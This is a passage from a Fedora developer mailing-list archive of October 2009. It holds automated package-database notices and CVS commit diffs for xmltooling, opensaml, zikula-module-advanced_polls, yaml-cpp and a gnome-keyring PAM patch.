kevin changed owner of xmltooling in Fedora EPEL 4 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:56 +0000
Subject: [pkgdb] xmltooling summary updated by kevin
Message-ID: <20091019161056.7C67410F850@bastion2.fedora.phx.redhat.com>

kevin set package xmltooling summary to XML signing and encrytion library

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:56 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161056.A268910F8AB@bastion2.fedora.phx.redhat.com>

kevin changed owner of xmltooling in Fedora devel to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:56 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161056.9CEE310F892@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for xmltooling
kevin has set commit to Approved for 107427 on xmltooling (Fedora 11)
kevin has set checkout to Approved for 107427 on xmltooling (Fedora 11)
kevin has set build to Approved for 107427 on xmltooling (Fedora 11)
kevin changed owner of xmltooling in Fedora 11 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:56 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161056.B11B710F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for xmltooling
kevin has set commit to Approved for 107427 on xmltooling (Fedora 12)
kevin has set checkout to Approved for 107427 on xmltooling (Fedora 12)
kevin has set build to Approved for 107427 on xmltooling (Fedora 12)
kevin changed owner of xmltooling in Fedora 12 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:10:56 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:10:56 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161056.B415610F8B4@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for xmltooling
kevin has set commit to Approved for 107427 on xmltooling (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on xmltooling (Fedora EPEL 5)
kevin has set build to Approved for 107427 on xmltooling (Fedora EPEL 5)
kevin changed owner of xmltooling in Fedora EPEL 5 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From guidograzioli at fedoraproject.org  Mon Oct 19 16:12:14 2009
From: guidograzioli at fedoraproject.org (Guido Grazioli)
Date: Mon, 19 Oct 2009 16:12:14 +0000 (UTC)
Subject: rpms/yaml-cpp/devel import.log, NONE, 1.1 yaml-cpp.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019161214.D875311C00DC@cvs1.fedora.phx.redhat.com>

Author: guidograzioli

Update of /cvs/pkgs/rpms/yaml-cpp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18003/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log yaml-cpp.spec 
Log Message:
* Sat Oct 17 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-2
- Remove duplicate file

* Wed Oct 14 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-1
- Initial packaging




--- NEW FILE import.log ---
yaml-cpp-0_2_2-2_fc11:HEAD:yaml-cpp-0.2.2-2.fc11.src.rpm:1255968695


--- NEW FILE yaml-cpp.spec ---
Name:           yaml-cpp
Version:        0.2.2
Release:        2%{?dist}
Summary:        A YAML parser and emitter for C++
Group:          Development/Libraries
License:        MIT 
URL:            http://code.google.com/p/yaml-cpp/
Source0:        http://yaml-cpp.googlecode.com/files/%{name}-%{version}.tar.gz
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildRequires:  cmake

%description
yaml-cpp is a YAML parser and emitter in C++ written around the YAML 1.2 spec.


%package        devel
Summary:        Development files for %{name}
Group:          Development/Libraries
License:        MIT
Requires:       %{name} = %{version}-%{release}
Requires:       pkgconfig

%description    devel
The %{name}-devel package contains libraries and header files for
developing applications that use %{name}.


%prep
%setup -q -c
# Fix eol 
sed -i 's/\r//' license.txt
# Fix cmake config 
sed -i 's/set(CMAKE_CXX_FLAGS "-O2 -Wall -pedantic -Wextra")/set(CMAKE_CXX_FLAGS "-Wall -pedantic -Wextra ${CMAKE_CXX_FLAGS}")/g' CMakeLists.txt


%build
# ask cmake to not strip binaries
%cmake . 
make VERBOSE=1 %{?_smp_mflags}


%install
rm -rf %{buildroot}
make install DESTDIR=%{buildroot}
find %{buildroot} -name '*.la' -exec rm -f {} ';'


%clean
rm -rf %{buildroot}


%post -p /sbin/ldconfig


%postun -p /sbin/ldconfig


%files
%defattr(-,root,root,-)
%doc license.txt
%{_libdir}/*.so.*


%files devel
%defattr(-,root,root,-)
%{_includedir}/yaml-cpp/
%{_libdir}/*.so
%{_libdir}/pkgconfig/*.pc


%changelog
* Sat Oct 17 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-2
- Remove duplicate file

* Wed Oct 14 2009 Guido Grazioli <guido.grazioli at gmail.com> - 0.2.2-1
- Initial packaging 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/yaml-cpp/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:02:17 -0000	1.1
+++ .cvsignore	19 Oct 2009 16:12:14 -0000	1.2
@@ -0,0 +1 @@
+yaml-cpp-0.2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/yaml-cpp/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:02:18 -0000	1.1
+++ sources	19 Oct 2009 16:12:14 -0000	1.2
@@ -0,0 +1 @@
+80863a39b967af3275aa3b88a8c7a12e  yaml-cpp-0.2.2.tar.gz



From pkgdb at fedoraproject.org  Mon Oct 19 16:14:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:14:06 +0000
Subject: [pkgdb] xmltooling summary updated by toshio
Message-ID: <20091019161406.6934510F880@bastion2.fedora.phx.redhat.com>

toshio set package xmltooling summary to XML signing and encrytion library

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:14:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:14:06 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161406.73B6110F892@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora 12 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:14:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:14:06 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161406.7FD9510F8AB@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora EPEL 4 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:14:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:14:06 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161406.83D1D10F8AF@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora devel to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:14:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:14:06 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161406.8C44B10F8B4@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora 11 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From pkgdb at fedoraproject.org  Mon Oct 19 16:14:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:14:06 +0000
Subject: [pkgdb] xmltooling (Fedora EPEL, 4) updated by toshio
Message-ID: <20091019161406.AA71D10F8B7@bastion2.fedora.phx.redhat.com>

toshio changed owner of xmltooling in Fedora EPEL 5 to stevetraylen

To make changes to this package see:
  /pkgdb/packages/name/xmltooling



From rstrode at fedoraproject.org  Mon Oct 19 16:14:12 2009
From: rstrode at fedoraproject.org (Ray Strode)
Date: Mon, 19 Oct 2009 16:14:12 +0000 (UTC)
Subject: rpms/gnome-keyring/F-12 gnome-keyring-2.28.1-nopass.patch, NONE,
	1.1 gnome-keyring.spec, 1.134, 1.135
Message-ID: <20091019161412.2C9BF11C00DC@cvs1.fedora.phx.redhat.com>

Author: rstrode

Update of /cvs/pkgs/rpms/gnome-keyring/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18819

Modified Files:
	gnome-keyring.spec 
Added Files:
	gnome-keyring-2.28.1-nopass.patch 
Log Message:
- Don't start keyring daemon if pam password is empty
  Patch from Dan Walsh. (bug 529709)


gnome-keyring-2.28.1-nopass.patch:
 gkr-pam-module.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE gnome-keyring-2.28.1-nopass.patch ---
diff -up gnome-keyring-2.28.1/pam/gkr-pam-module.c.nopass gnome-keyring-2.28.1/pam/gkr-pam-module.c
--- gnome-keyring-2.28.1/pam/gkr-pam-module.c.nopass	2009-09-25 21:55:50.000000000 -0400
+++ gnome-keyring-2.28.1/pam/gkr-pam-module.c	2009-10-19 11:27:34.000000000 -0400
@@ -878,6 +878,7 @@ pam_sm_authenticate (pam_handle_t *ph, i
 
 	started_daemon = 0;
 
+
 	/* Should we start the daemon? */
 	if (args & ARG_AUTO_START) {
 		ret = start_daemon_if_necessary (ph, pwd, password, &started_daemon);
@@ -944,8 +945,9 @@ pam_sm_open_session (pam_handle_t *ph, i
 		 * different PAM callbacks from different processes.
 		 * 
 		 * No use complaining
+		 * Do not start gnome-keyring, dbus will start it on login.
 		 */
-		password = NULL;
+		return PAM_SUCCESS;
 	}
 	
 	started_daemon = 0;


Index: gnome-keyring.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-keyring/F-12/gnome-keyring.spec,v
retrieving revision 1.134
retrieving revision 1.135
diff -u -p -r1.134 -r1.135
--- gnome-keyring.spec	19 Oct 2009 09:38:54 -0000	1.134
+++ gnome-keyring.spec	19 Oct 2009 16:14:11 -0000	1.135
@@ -8,7 +8,7 @@
 Summary: Framework for managing passwords and other secrets
 Name: gnome-keyring
 Version: 2.28.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2+ and LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gnome-keyring/2.28/gnome-keyring-%{version}.tar.bz2
@@ -16,6 +16,10 @@ Source: http://download.gnome.org/source
 # https://bugzilla.gnome.org/show_bug.cgi?id=598494
 Patch2: gnome-keyring-2.28.0-die-on-session-exit.patch
 
+# http://bugzilla.redhat.com/529709
+# http://bugs.gnome.org/598494
+Patch3: gnome-keyring-2.28.1-nopass.patch
+
 URL: http://www.gnome.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -69,6 +73,7 @@ automatically unlock the "login" keyring
 %prep
 %setup -q -n gnome-keyring-%{version}
 %patch2 -p1 -b .die-on-session-exit
+%patch3 -p1 -b .no-pass
 
 %build
 %configure --disable-gtk-doc --with-pam-dir=/%{_lib}/security --disable-acl-prompts
@@ -146,6 +151,10 @@ fi
 
 
 %changelog
+* Mon Oct 19 2009 Ray Strode <rstrode at redhat.com> 2.28.1-2
+- Don't start keyring daemon if pam password is empty
+  Patch from Dan Walsh. (bug 529709)
+
 * Mon Oct 19 2009 Tomas Bzatek <tbzatek at redhat.com> - 2.28.1-1
 - Update to 2.28.1
 



From pkgdb at fedoraproject.org  Mon Oct 19 16:16:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:16:15 +0000
Subject: [pkgdb] opensaml was added for stevetraylen
Message-ID: <20091019161615.675BD10F850@bastion2.fedora.phx.redhat.com>

kevin has added Package opensaml with summary Security Assertion Markup Language
kevin has approved Package opensaml
kevin has added a Fedora devel branch for opensaml with an owner of stevetraylen
kevin has approved opensaml in Fedora devel
kevin has approved Package opensaml
kevin has set commit to Approved for 107427 on opensaml (Fedora devel)
kevin has set checkout to Approved for 107427 on opensaml (Fedora devel)
kevin has set build to Approved for 107427 on opensaml (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/opensaml



From pkgdb at fedoraproject.org  Mon Oct 19 16:16:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:16:16 +0000
Subject: [pkgdb] opensaml summary updated by kevin
Message-ID: <20091019161616.C18DC10F87F@bastion2.fedora.phx.redhat.com>

kevin set package opensaml summary to Security Assertion Markup Language

To make changes to this package see:
  /pkgdb/packages/name/opensaml



From pkgdb at fedoraproject.org  Mon Oct 19 16:16:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:16:16 +0000
Subject: [pkgdb] opensaml (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161616.D3D1C10F895@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for opensaml
kevin has set commit to Approved for 107427 on opensaml (Fedora 11)
kevin has set checkout to Approved for 107427 on opensaml (Fedora 11)
kevin has set build to Approved for 107427 on opensaml (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/opensaml



From pkgdb at fedoraproject.org  Mon Oct 19 16:16:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:16:16 +0000
Subject: [pkgdb] opensaml (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161616.D875110F8AD@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for opensaml
kevin has set commit to Approved for 107427 on opensaml (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on opensaml (Fedora EPEL 5)
kevin has set build to Approved for 107427 on opensaml (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/opensaml



From pkgdb at fedoraproject.org  Mon Oct 19 16:16:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:16:16 +0000
Subject: [pkgdb] opensaml (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161616.DE39910F8B1@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for opensaml
kevin has set commit to Approved for 107427 on opensaml (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on opensaml (Fedora EPEL 4)
kevin has set build to Approved for 107427 on opensaml (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/opensaml



From pkgdb at fedoraproject.org  Mon Oct 19 16:16:16 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:16:16 +0000
Subject: [pkgdb] opensaml (Fedora EPEL, 4) updated by kevin
Message-ID: <20091019161616.EA3EC10F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for opensaml
kevin has set commit to Approved for 107427 on opensaml (Fedora 12)
kevin has set checkout to Approved for 107427 on opensaml (Fedora 12)
kevin has set build to Approved for 107427 on opensaml (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/opensaml



From kevin at fedoraproject.org  Mon Oct 19 16:16:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:16:27 +0000 (UTC)
Subject: rpms/opensaml - New directory
Message-ID: <20091019161627.1DD3D11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/opensaml
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK19480/rpms/opensaml

Log Message:
Directory /cvs/pkgs/rpms/opensaml added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:16:27 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:16:27 +0000 (UTC)
Subject: rpms/opensaml/devel - New directory
Message-ID: <20091019161627.3C80211C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/opensaml/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK19480/rpms/opensaml/devel

Log Message:
Directory /cvs/pkgs/rpms/opensaml/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:16:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:16:34 +0000 (UTC)
Subject: rpms/opensaml Makefile,NONE,1.1
Message-ID: <20091019161634.2A41811C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/opensaml
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK19480/rpms/opensaml

Added Files:
	Makefile 
Log Message:
Setup of module opensaml


--- NEW FILE Makefile ---
# Top level Makefile for module opensaml
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:16:34 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:16:34 +0000 (UTC)
Subject: rpms/opensaml/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091019161634.64DE711C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/opensaml/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsK19480/rpms/opensaml/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module opensaml


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: opensaml
# $Id: Makefile,v 1.1 2009/10/19 16:16:34 kevin Exp $
NAME := opensaml
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Mon Oct 19 16:17:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:17:28 +0000
Subject: [pkgdb] zikula-module-advanced_polls was added for sparks
Message-ID: <20091019161729.05E1610F850@bastion2.fedora.phx.redhat.com>

kevin has added Package zikula-module-advanced_polls with summary Advanced voting system for Zikula
kevin has approved Package zikula-module-advanced_polls
kevin has added a Fedora devel branch for zikula-module-advanced_polls with an owner of sparks
kevin has approved zikula-module-advanced_polls in Fedora devel
kevin has approved Package zikula-module-advanced_polls
kevin has set commit to Approved for 107427 on zikula-module-advanced_polls (Fedora devel)
kevin has set checkout to Approved for 107427 on zikula-module-advanced_polls (Fedora devel)
kevin has set build to Approved for 107427 on zikula-module-advanced_polls (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-advanced_polls



From pkgdb at fedoraproject.org  Mon Oct 19 16:17:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:17:32 +0000
Subject: [pkgdb] zikula-module-advanced_polls summary updated by kevin
Message-ID: <20091019161732.3D7DF10F895@bastion2.fedora.phx.redhat.com>

kevin set package zikula-module-advanced_polls summary to Advanced voting system for Zikula

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-advanced_polls



From pkgdb at fedoraproject.org  Mon Oct 19 16:17:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:17:32 +0000
Subject: [pkgdb] zikula-module-advanced_polls (Fedora EPEL,
	5) updated by kevin
Message-ID: <20091019161732.49C9E10F8B1@bastion2.fedora.phx.redhat.com>

kevin approved watchbugzilla on zikula-module-advanced_polls (Fedora devel) for ke4qqq
kevin approved watchcommits on zikula-module-advanced_polls (Fedora devel) for ke4qqq
kevin approved commit on zikula-module-advanced_polls (Fedora devel) for ke4qqq
kevin approved build on zikula-module-advanced_polls (Fedora devel) for ke4qqq
kevin approved approveacls on zikula-module-advanced_polls (Fedora devel) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-advanced_polls



From pkgdb at fedoraproject.org  Mon Oct 19 16:17:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:17:32 +0000
Subject: [pkgdb] zikula-module-advanced_polls (Fedora EPEL,
	5) updated by kevin
Message-ID: <20091019161732.7DB0B10F8B5@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 11 branch for zikula-module-advanced_polls
kevin has set commit to Approved for 107427 on zikula-module-advanced_polls (Fedora 11)
kevin has set checkout to Approved for 107427 on zikula-module-advanced_polls (Fedora 11)
kevin has set build to Approved for 107427 on zikula-module-advanced_polls (Fedora 11)
kevin approved watchbugzilla on zikula-module-advanced_polls (Fedora 11) for ke4qqq
kevin approved watchcommits on zikula-module-advanced_polls (Fedora 11) for ke4qqq
kevin approved commit on zikula-module-advanced_polls (Fedora 11) for ke4qqq
kevin approved build on zikula-module-advanced_polls (Fedora 11) for ke4qqq
kevin approved approveacls on zikula-module-advanced_polls (Fedora 11) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-advanced_polls



From pkgdb at fedoraproject.org  Mon Oct 19 16:17:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:17:32 +0000
Subject: [pkgdb] zikula-module-advanced_polls (Fedora EPEL,
	5) updated by kevin
Message-ID: <20091019161732.ABF8C10F80D@bastion2.fedora.phx.redhat.com>

kevin added a Fedora 12 branch for zikula-module-advanced_polls
kevin has set commit to Approved for 107427 on zikula-module-advanced_polls (Fedora 12)
kevin has set checkout to Approved for 107427 on zikula-module-advanced_polls (Fedora 12)
kevin has set build to Approved for 107427 on zikula-module-advanced_polls (Fedora 12)
kevin approved watchbugzilla on zikula-module-advanced_polls (Fedora 12) for ke4qqq
kevin approved watchcommits on zikula-module-advanced_polls (Fedora 12) for ke4qqq
kevin approved commit on zikula-module-advanced_polls (Fedora 12) for ke4qqq
kevin approved build on zikula-module-advanced_polls (Fedora 12) for ke4qqq
kevin approved approveacls on zikula-module-advanced_polls (Fedora 12) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-advanced_polls



From pkgdb at fedoraproject.org  Mon Oct 19 16:17:32 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 19 Oct 2009 16:17:32 +0000
Subject: [pkgdb] zikula-module-advanced_polls (Fedora EPEL,
	5) updated by kevin
Message-ID: <20091019161732.F188310F8BE@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for zikula-module-advanced_polls
kevin has set commit to Approved for 107427 on zikula-module-advanced_polls (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on zikula-module-advanced_polls (Fedora EPEL 5)
kevin has set build to Approved for 107427 on zikula-module-advanced_polls (Fedora EPEL 5)
kevin approved watchbugzilla on zikula-module-advanced_polls (Fedora EPEL 5) for ke4qqq
kevin approved watchcommits on zikula-module-advanced_polls (Fedora EPEL 5) for ke4qqq
kevin approved commit on zikula-module-advanced_polls (Fedora EPEL 5) for ke4qqq
kevin approved build on zikula-module-advanced_polls (Fedora EPEL 5) for ke4qqq
kevin approved approveacls on zikula-module-advanced_polls (Fedora EPEL 5) for ke4qqq

To make changes to this package see:
  /pkgdb/packages/name/zikula-module-advanced_polls



From kevin at fedoraproject.org  Mon Oct 19 16:17:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:17:39 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls - New directory
Message-ID: <20091019161739.14E4411C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP20092/rpms/zikula-module-advanced_polls

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-advanced_polls added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:17:39 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:17:39 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/devel - New directory
Message-ID: <20091019161739.3F0B911C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP20092/rpms/zikula-module-advanced_polls/devel

Log Message:
Directory /cvs/pkgs/rpms/zikula-module-advanced_polls/devel added to the repository




From kevin at fedoraproject.org  Mon Oct 19 16:17:46 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:17:46 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls Makefile,NONE,1.1
Message-ID: <20091019161746.9B52A11C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP20092/rpms/zikula-module-advanced_polls

Added Files:
	Makefile 
Log Message:
Setup of module zikula-module-advanced_polls


--- NEW FILE Makefile ---
# Top level Makefile for module zikula-module-advanced_polls
all : CVS/Root common-update
	@cvs update

common-update : common
	@cd common && cvs update

common : CVS/Root
	@cvs checkout common

CVS/Root :
	@echo "ERROR: This does not look like a CVS checkout" && exit 1

clean :
	@find . -type f -name *~ -exec rm -fv {} \;



From kevin at fedoraproject.org  Mon Oct 19 16:17:47 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 19 Oct 2009 16:17:47 +0000 (UTC)
Subject: rpms/zikula-module-advanced_polls/devel .cvsignore, NONE,
	1.1 Makefile, NONE, 1.1 sources, NONE, 1.1
Message-ID: <20091019161747.16FB911C00DC@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/zikula-module-advanced_polls/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsP20092/rpms/zikula-module-advanced_polls/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module zikula-module-advanced_polls


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: zikula-module-advanced_polls
# $Id: Makefile,v 1.1 2009/10/19 16:17:46 kevin Exp $
NAME := zikula-module-advanced_polls
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From hadess at fedoraproject.org  Mon Oct 19 16:17:36 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon, 19 Oct 2009 16:17:36 +0000 (UTC)
Subject: rpms/libgpod/devel libgpod-utf16-parsing.patch, 1.1,
	1.2 libgpod.spec, 1.27, 1.28
Message-ID: <20091019161736.4B8D611C00DC@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/libgpod/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20066

